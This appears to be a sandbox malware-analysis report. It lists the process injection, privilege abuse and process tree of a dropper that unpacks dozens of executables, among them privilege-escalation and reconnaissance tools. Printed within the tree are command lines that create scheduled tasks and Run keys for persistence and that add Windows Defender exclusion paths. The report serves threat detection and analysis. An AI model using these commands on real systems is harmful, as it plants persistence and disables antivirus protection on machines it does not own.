Token: SeDebugPrivilege	1048	net.exe
Token: SeDebugPrivilege	3036	net.exe
Token: SeDebugPrivilege	1672	jsc.exe
Token: SeDebugPrivilege	1840	powershell.exe
Token: SeDebugPrivilege	1048	net.exe
Token: SeDebugPrivilege	2820	KB824105-x86-ENU.exe
Token: SeDebugPrivilege	3840	MSBuild.exe
Token: SeDebugPrivilege	1768	MSBuild.exe
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	4144	amad.exe
Token: SeDebugPrivilege	3996	%E5%85%81%E8%AE%B8%E6%B3%A8%E9%94%[email protected]
Token: SeBackupPrivilege	3996	%E5%85%81%E8%AE%B8%E6%B3%A8%E9%94%[email protected]

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3084	task.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4260	PCHunter64_new.exe
4260	PCHunter64_new.exe
2760	rhsgn_protected.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3772 wrote to memory of 4908	3772	4363463463464363463463463.exe	83
PID 3772 wrote to memory of 4908	3772	4363463463464363463463463.exe	83
PID 3772 wrote to memory of 4908	3772	4363463463464363463463463.exe	83
PID 3772 wrote to memory of 1852	3772	4363463463464363463463463.exe	85
PID 3772 wrote to memory of 1852	3772	4363463463464363463463463.exe	85
PID 3772 wrote to memory of 1852	3772	4363463463464363463463463.exe	85
PID 3772 wrote to memory of 1708	3772	4363463463464363463463463.exe	86
PID 3772 wrote to memory of 1708	3772	4363463463464363463463463.exe	86
PID 3772 wrote to memory of 1708	3772	4363463463464363463463463.exe	86
PID 1708 wrote to memory of 5048	1708	rtx.exe	87
PID 1708 wrote to memory of 5048	1708	rtx.exe	87
PID 1708 wrote to memory of 5048	1708	rtx.exe	87
PID 1708 wrote to memory of 5048	1708	rtx.exe	87
PID 1708 wrote to memory of 5048	1708	rtx.exe	87
PID 1708 wrote to memory of 5048	1708	rtx.exe	87
PID 1708 wrote to memory of 5048	1708	rtx.exe	87
PID 1708 wrote to memory of 5048	1708	rtx.exe	87
PID 3772 wrote to memory of 4908	3772	4363463463464363463463463.exe	88
PID 3772 wrote to memory of 4908	3772	4363463463464363463463463.exe	88
PID 3772 wrote to memory of 4908	3772	4363463463464363463463463.exe	88
PID 3772 wrote to memory of 3748	3772	4363463463464363463463463.exe	89
PID 3772 wrote to memory of 3748	3772	4363463463464363463463463.exe	89
PID 1852 wrote to memory of 1848	1852	asdfg.exe	90
PID 1852 wrote to memory of 1848	1852	asdfg.exe	90
PID 1852 wrote to memory of 1848	1852	asdfg.exe	90
PID 1852 wrote to memory of 3660	1852	asdfg.exe	91
PID 1852 wrote to memory of 3660	1852	asdfg.exe	91
PID 1852 wrote to memory of 3660	1852	asdfg.exe	91
PID 1852 wrote to memory of 3660	1852	asdfg.exe	91
PID 1852 wrote to memory of 3660	1852	asdfg.exe	91
PID 1852 wrote to memory of 3660	1852	asdfg.exe	91
PID 1852 wrote to memory of 3660	1852	asdfg.exe	91
PID 1852 wrote to memory of 3660	1852	asdfg.exe	91
PID 1852 wrote to memory of 3660	1852	asdfg.exe	91
PID 1852 wrote to memory of 3660	1852	asdfg.exe	91
PID 1848 wrote to memory of 1736	1848	BLHisbnd.exe	141
PID 1848 wrote to memory of 1736	1848	BLHisbnd.exe	141
PID 1848 wrote to memory of 1736	1848	BLHisbnd.exe	141
PID 1848 wrote to memory of 1736	1848	BLHisbnd.exe	141
PID 1848 wrote to memory of 1736	1848	BLHisbnd.exe	141
PID 1848 wrote to memory of 1736	1848	BLHisbnd.exe	141
PID 1848 wrote to memory of 1736	1848	BLHisbnd.exe	141
PID 1848 wrote to memory of 1736	1848	BLHisbnd.exe	141
PID 2980 wrote to memory of 1924	2980	Tags.exe	100
PID 2980 wrote to memory of 1924	2980	Tags.exe	100
PID 2980 wrote to memory of 1924	2980	Tags.exe	100
PID 2980 wrote to memory of 1924	2980	Tags.exe	100
PID 2980 wrote to memory of 1924	2980	Tags.exe	100
PID 2980 wrote to memory of 1924	2980	Tags.exe	100
PID 2980 wrote to memory of 1924	2980	Tags.exe	100
PID 2980 wrote to memory of 1924	2980	Tags.exe	100
PID 1924 wrote to memory of 3840	1924	Tags.exe	101
PID 1924 wrote to memory of 3840	1924	Tags.exe	101
PID 1924 wrote to memory of 3840	1924	Tags.exe	101
PID 1924 wrote to memory of 3840	1924	Tags.exe	101
PID 1924 wrote to memory of 3840	1924	Tags.exe	101
PID 1924 wrote to memory of 3840	1924	Tags.exe	101
PID 1924 wrote to memory of 3840	1924	Tags.exe	101
PID 1924 wrote to memory of 3840	1924	Tags.exe	101
PID 3772 wrote to memory of 4844	3772	4363463463464363463463463.exe	104
PID 3772 wrote to memory of 4844	3772	4363463463464363463463463.exe	104
PID 4844 wrote to memory of 3524	4844	1bz7KfahvU.exe	105
PID 4844 wrote to memory of 3524	4844	1bz7KfahvU.exe	105
PID 3524 wrote to memory of 1576	3524	powershell.exe	107

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2900
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2132

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3772
- C:\Users\Admin\AppData\Local\Temp\Files\svcyr.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\svcyr.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  PID:4908
- C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
    "C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
      "C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1736
- - C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"
    3⤵
    - Executes dropped EXE
    PID:3660
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3660 -s 356
      4⤵
      Program crash
      PID:2028
- C:\Users\Admin\AppData\Local\Temp\Files\rtx.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rtx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Users\Admin\AppData\Local\Temp\Files\rtx.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\rtx.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    PID:5048
- C:\Users\Admin\AppData\Local\Temp\Files\svcyr.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\svcyr.exe"
  2⤵
  - Executes dropped EXE
  PID:4908
- C:\Users\Admin\AppData\Local\Temp\Files\artifact.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\artifact.exe"
  2⤵
  - Executes dropped EXE
  PID:3748
- C:\Users\Admin\AppData\Local\Temp\Files\1bz7KfahvU.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\1bz7KfahvU.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "" "SCHTASKS.exe /Create /SC MINUTE /ED 12/12/2030 /TN runtime_1 /TR C:\Users\Admin\AppData\Roaming\Microsoft\config\runtime.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3524
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /Create /SC MINUTE /ED 12/12/2030 /TN runtime_1 /TR C:\Users\Admin\AppData\Roaming\Microsoft\config\runtime.exe
      4⤵
      Creates scheduled task(s)
      PID:1576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "" "SCHTASKS.exe /Create /SC MINUTE /ED 12/12/2030 /TN runtime_2 /TR C:\Users\Admin\AppData\Local\Microsoft\config\runtime.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4296
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /Create /SC MINUTE /ED 12/12/2030 /TN runtime_2 /TR C:\Users\Admin\AppData\Local\Microsoft\config\runtime.exe
      4⤵
      Creates scheduled task(s)
      PID:2088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "" "SCHTASKS.exe /Create /SC MINUTE /ED 12/12/2030 /TN runtime_3 /TR C:\Users\Admin\AppData\Local\Temp\Microsoft\config\runtime.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3280
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /Create /SC MINUTE /ED 12/12/2030 /TN runtime_3 /TR C:\Users\Admin\AppData\Local\Temp\Microsoft\config\runtime.exe
      4⤵
      Creates scheduled task(s)
      PID:4260
- C:\Users\Admin\AppData\Local\Temp\Files\net.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\net.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:3036
- - C:\Users\Admin\AppData\Local\Temp\Files\net.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\net.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2816
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2816 -s 480
      4⤵
      Program crash
      PID:1736
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2816 -s 508
      4⤵
      Program crash
      PID:1944
- C:\Users\Admin\AppData\Local\Temp\Files\PCHunter64_new.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\PCHunter64_new.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Sets service image path in registry
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: LoadsDriver
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4260
- C:\Users\Admin\AppData\Local\Temp\Files\task.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\task.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of FindShellTrayWindow
  PID:3084
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 780
    3⤵
    - Program crash
    PID:464
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 820
    3⤵
    - Program crash
    PID:2700
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 896
    3⤵
    - Program crash
    PID:3136
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 916
    3⤵
    - Program crash
    PID:392
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 916
    3⤵
    - Program crash
    PID:3452
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 996
    3⤵
    - Program crash
    PID:2248
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 952
    3⤵
    - Program crash
    PID:5012
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 1064
    3⤵
    - Program crash
    PID:1052
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 1140
    3⤵
    - Program crash
    PID:4768
- - C:\Users\Admin\AppData\Local\Temp\154561dcbf\Dctooux.exe
    "C:\Users\Admin\AppData\Local\Temp\154561dcbf\Dctooux.exe"
    3⤵
    - Executes dropped EXE
    PID:3992
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 512
      4⤵
      Program crash
      PID:2132
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 1564
    3⤵
    - Program crash
    PID:4176
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3084 -s 1628
    3⤵
    - Program crash
    PID:1052
- C:\Users\Admin\AppData\Local\Temp\Files\%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]
  "C:\Users\Admin\AppData\Local\Temp\Files\%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]"
  2⤵
  - Sets file execution options in registry
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4284
- C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c net use
    3⤵
    PID:2972
  - - C:\Users\Admin\AppData\Local\Temp\Files\net.exe
      net use
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      PID:1048
    - - C:\Users\Admin\AppData\Local\Temp\Files\net.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Files\net.exe"
        5⤵
        Executes dropped EXE
        
        PID:4640
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4640 -s 356
        6⤵
        Program crash
        
        PID:3912
- C:\Users\Admin\AppData\Local\Temp\Files\hv.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\hv.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  PID:3572
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1672
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Remove-ItemProperty-Path'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'-Name'LibraryApp_for_translators_and_linguists';New-ItemProperty-Path'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'-Name'LibraryApp_for_translators_and_linguists' -Value '"C:\Users\Admin\AppData\Local\LibraryApp_for_translators_and_linguists\LibraryApp_for_translators_and_linguists.exe"' -PropertyType 'String'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1840
- C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
  2⤵
  - Blocklisted process makes network request
  - Executes dropped EXE
  PID:1848
- - C:\Users\Admin\AppData\Local\Temp\207756286.exe
    C:\Users\Admin\AppData\Local\Temp\207756286.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    PID:4956
  - - C:\Windows\sysbrapsvc.exe
      C:\Windows\sysbrapsvc.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      PID:4860
    - - C:\Users\Admin\AppData\Local\Temp\298618064.exe
        
        C:\Users\Admin\AppData\Local\Temp\298618064.exe
        5⤵
        Executes dropped EXE
        
        PID:4268
    - - C:\Users\Admin\AppData\Local\Temp\939226932.exe
        
        C:\Users\Admin\AppData\Local\Temp\939226932.exe
        5⤵
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        Adds Run key to start application
        Drops file in Windows directory
        
        PID:3520
      - C:\Users\Admin\AppData\Local\Temp\1678812796.exe
        
        C:\Users\Admin\AppData\Local\Temp\1678812796.exe
        6⤵
        Executes dropped EXE
        
        PID:1500
      - C:\Users\Admin\AppData\Local\Temp\1497336779.exe
        
        C:\Users\Admin\AppData\Local\Temp\1497336779.exe
        6⤵
        Executes dropped EXE
        
        PID:3384
      - C:\Users\Admin\AppData\Local\Temp\1054428042.exe
        
        C:\Users\Admin\AppData\Local\Temp\1054428042.exe
        6⤵
        Executes dropped EXE
        
        PID:4652
    - - C:\Users\Admin\AppData\Local\Temp\160538379.exe
        
        C:\Users\Admin\AppData\Local\Temp\160538379.exe
        5⤵
        
        PID:6632
    - - C:\Users\Admin\AppData\Local\Temp\17199840.exe
        
        C:\Users\Admin\AppData\Local\Temp\17199840.exe
        5⤵
        
        PID:14324
    - - C:\Users\Admin\AppData\Local\Temp\335507431.exe
        
        C:\Users\Admin\AppData\Local\Temp\335507431.exe
        5⤵
        
        PID:6040
      - C:\Users\Admin\AppData\Local\Temp\3630531677.exe
        
        C:\Users\Admin\AppData\Local\Temp\3630531677.exe
        6⤵
        
        PID:10984
- C:\Users\Admin\AppData\Local\Temp\Files\cock.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cock.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:716
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2972
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:1616
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:4028
- C:\Users\Admin\AppData\Local\Temp\Files\SharpHound.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\SharpHound.exe"
  2⤵
  - Executes dropped EXE
  PID:3724
- C:\Users\Admin\AppData\Local\Temp\Files\ISetup10.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ISetup10.exe"
  2⤵
  - Executes dropped EXE
  PID:3204
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3204 -s 596
    3⤵
    - Program crash
    PID:2444
- C:\Users\Admin\AppData\Local\Temp\Files\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"
  2⤵
  - Executes dropped EXE
  PID:1232
- - C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe
    "C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetWindowsHookEx
    PID:2760
  - - C:\Users\Admin\AppData\Local\Temp\ARA.exe
      "C:\Users\Admin\AppData\Local\Temp\ARA.exe"
      4⤵
      Executes dropped EXE
      Modifies registry class
      PID:2152
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\aUs3pwix5Vd1U6IYzTsfZ9E8dEV3MF.vbe"
        5⤵
        
        PID:4852
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\WJgXY0RCE6WdWGoPyLk7f.bat" "
        6⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe
        
        "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe"
        7⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1608
        
        C:\Program Files\Java\jre-1.8\legal\javafx\rundll32.exe
        
        "C:\Program Files\Java\jre-1.8\legal\javafx\rundll32.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3840
- C:\Users\Admin\AppData\Local\Temp\Files\amad.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\amad.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  PID:4144
- C:\Users\Admin\AppData\Local\Temp\Files\%E5%85%81%E8%AE%B8%E6%B3%A8%E9%94%[email protected]
  "C:\Users\Admin\AppData\Local\Temp\Files\%E5%85%81%E8%AE%B8%E6%B3%A8%E9%94%[email protected]"
  2⤵
  - Sets file execution options in registry
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3996
- C:\Users\Admin\AppData\Local\Temp\Files\%E9%A3%9E%E8%9B%BE%E5%B7%A5%E5%85%B7%E7%AE%B1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\%E9%A3%9E%E8%9B%BE%E5%B7%A5%E5%85%B7%E7%AE%B1.exe"
  2⤵
  - Executes dropped EXE
  PID:3844
- C:\Users\Admin\AppData\Local\Temp\Files\adm_atu.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\adm_atu.exe"
  2⤵
  - Executes dropped EXE
  PID:3564
- C:\Users\Admin\AppData\Local\Temp\Files\html.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\html.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2460
- - C:\Program Files (x86)\Common Files\microsoft shared\ink\pipanel.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\html.exe"
    3⤵
    - Suspicious behavior: SetClipboardViewer
    PID:5084
- C:\Users\Admin\AppData\Local\Temp\Files\VmManagedSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\VmManagedSetup.exe"
  2⤵
  PID:10192
- C:\Users\Admin\AppData\Local\Temp\Files\LPE_ALL.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\LPE_ALL.exe"
  2⤵
  PID:7380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c pause
    3⤵
    PID:9792
- C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"
  2⤵
  PID:14836
- C:\Users\Admin\AppData\Local\Temp\Files\dsdasda.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\dsdasda.exe"
  2⤵
  PID:13184
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:13148
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 13148 -s 796
      4⤵
      Program crash
      PID:13200
- C:\Users\Admin\AppData\Local\Temp\Files\pei.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\pei.exe"
  2⤵
  PID:10476
- - C:\Users\Admin\AppData\Local\Temp\52523705.exe
    C:\Users\Admin\AppData\Local\Temp\52523705.exe
    3⤵
    PID:7900
- C:\Users\Admin\AppData\Local\Temp\Files\maza-0.16.3-win64-setup-unsigned.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\maza-0.16.3-win64-setup-unsigned.exe"
  2⤵
  PID:13216
- C:\Users\Admin\AppData\Local\Temp\Files\elevator.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\elevator.exe"
  2⤵
  PID:13704
- C:\Users\Admin\AppData\Local\Temp\Files\hjv.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\hjv.exe"
  2⤵
  PID:14096
- - C:\Users\Admin\AppData\Local\Temp\Files\hjv.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\hjv.exe"
    3⤵
    PID:9680
- C:\Users\Admin\AppData\Local\Temp\Files\Pilgzi.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Pilgzi.exe"
  2⤵
  PID:3320
- C:\Users\Admin\AppData\Local\Temp\Files\SystemUpdate.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\SystemUpdate.exe"
  2⤵
  PID:16084
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C chcp 1251 & powershell -Command Add-MpPreference -ExclusionPath "$ENV:USERPROFILE\Desktop" & powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\Dllhost" & powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\SystemData"
    3⤵
    PID:3528
  - - C:\Windows\SysWOW64\chcp.com
      chcp 1251
      4⤵
      PID:13032
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath "$ENV:USERPROFILE\Desktop"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10140
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\Dllhost"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2528
- C:\Users\Admin\AppData\Local\Temp\Files\%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]
  "C:\Users\Admin\AppData\Local\Temp\Files\%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]"
  2⤵
  PID:15668
- C:\Users\Admin\AppData\Local\Temp\Files\smell-the-roses.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\smell-the-roses.exe"
  2⤵
  PID:15936
- C:\Users\Admin\AppData\Local\Temp\Files\asas.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\asas.exe"
  2⤵
  PID:12388
- - C:\Windows\System32\werfault.exe
    \??\C:\Windows\System32\werfault.exe
    3⤵
    PID:14892
- C:\Users\Admin\AppData\Local\Temp\Files\PrintSpoofer.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\PrintSpoofer.exe"
  2⤵
  PID:1880
- C:\Users\Admin\AppData\Local\Temp\Files\cp.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"
  2⤵
  PID:9036
- C:\Users\Admin\AppData\Local\Temp\Files\060.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\060.exe"
  2⤵
  PID:13076
- - C:\Users\Admin\AppData\Local\Temp\is-GHBT8.tmp\060.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-GHBT8.tmp\060.tmp" /SL5="$20444,4250973,54272,C:\Users\Admin\AppData\Local\Temp\Files\060.exe"
    3⤵
    PID:7324
  - - C:\Users\Admin\AppData\Local\CD Studio\cdstudio32.exe
      "C:\Users\Admin\AppData\Local\CD Studio\cdstudio32.exe" -i
      4⤵
      PID:13844
  - - C:\Users\Admin\AppData\Local\CD Studio\cdstudio32.exe
      "C:\Users\Admin\AppData\Local\CD Studio\cdstudio32.exe" -s
      4⤵
      PID:16348
- C:\Users\Admin\AppData\Local\Temp\Files\ama.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"
  2⤵
  PID:6176
- - C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
    "C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe"
    3⤵
    PID:9280
- C:\Users\Admin\AppData\Local\Temp\Files\cayV0Deo9jSt417.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cayV0Deo9jSt417.exe"
  2⤵
  PID:5356
- - C:\Windows\SysWOW64\clip.exe
    "C:\Windows\SysWOW64\clip.exe"
    3⤵
    PID:3728
  - - C:\Users\Admin\AppData\Roaming\System32\taskhost.exe
      "C:\Users\Admin\AppData\Roaming\System32\taskhost.exe"
      4⤵
      PID:12832
- C:\Users\Admin\AppData\Local\Temp\Files\GREENpackage.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\GREENpackage.exe"
  2⤵
  PID:9644
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    3⤵
    PID:8256
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    3⤵
    PID:10676
- C:\Users\Admin\AppData\Local\Temp\Files\dusers.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\dusers.exe"
  2⤵
  PID:2964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Files\move.bat" "
    3⤵
    PID:5836
  - - C:\Users\Admin\AppData\Local\Temp\Files\Users.exe
      users.exe
      4⤵
      PID:1992
    - - C:\Windows\SysWOW64\cmd.exe
        
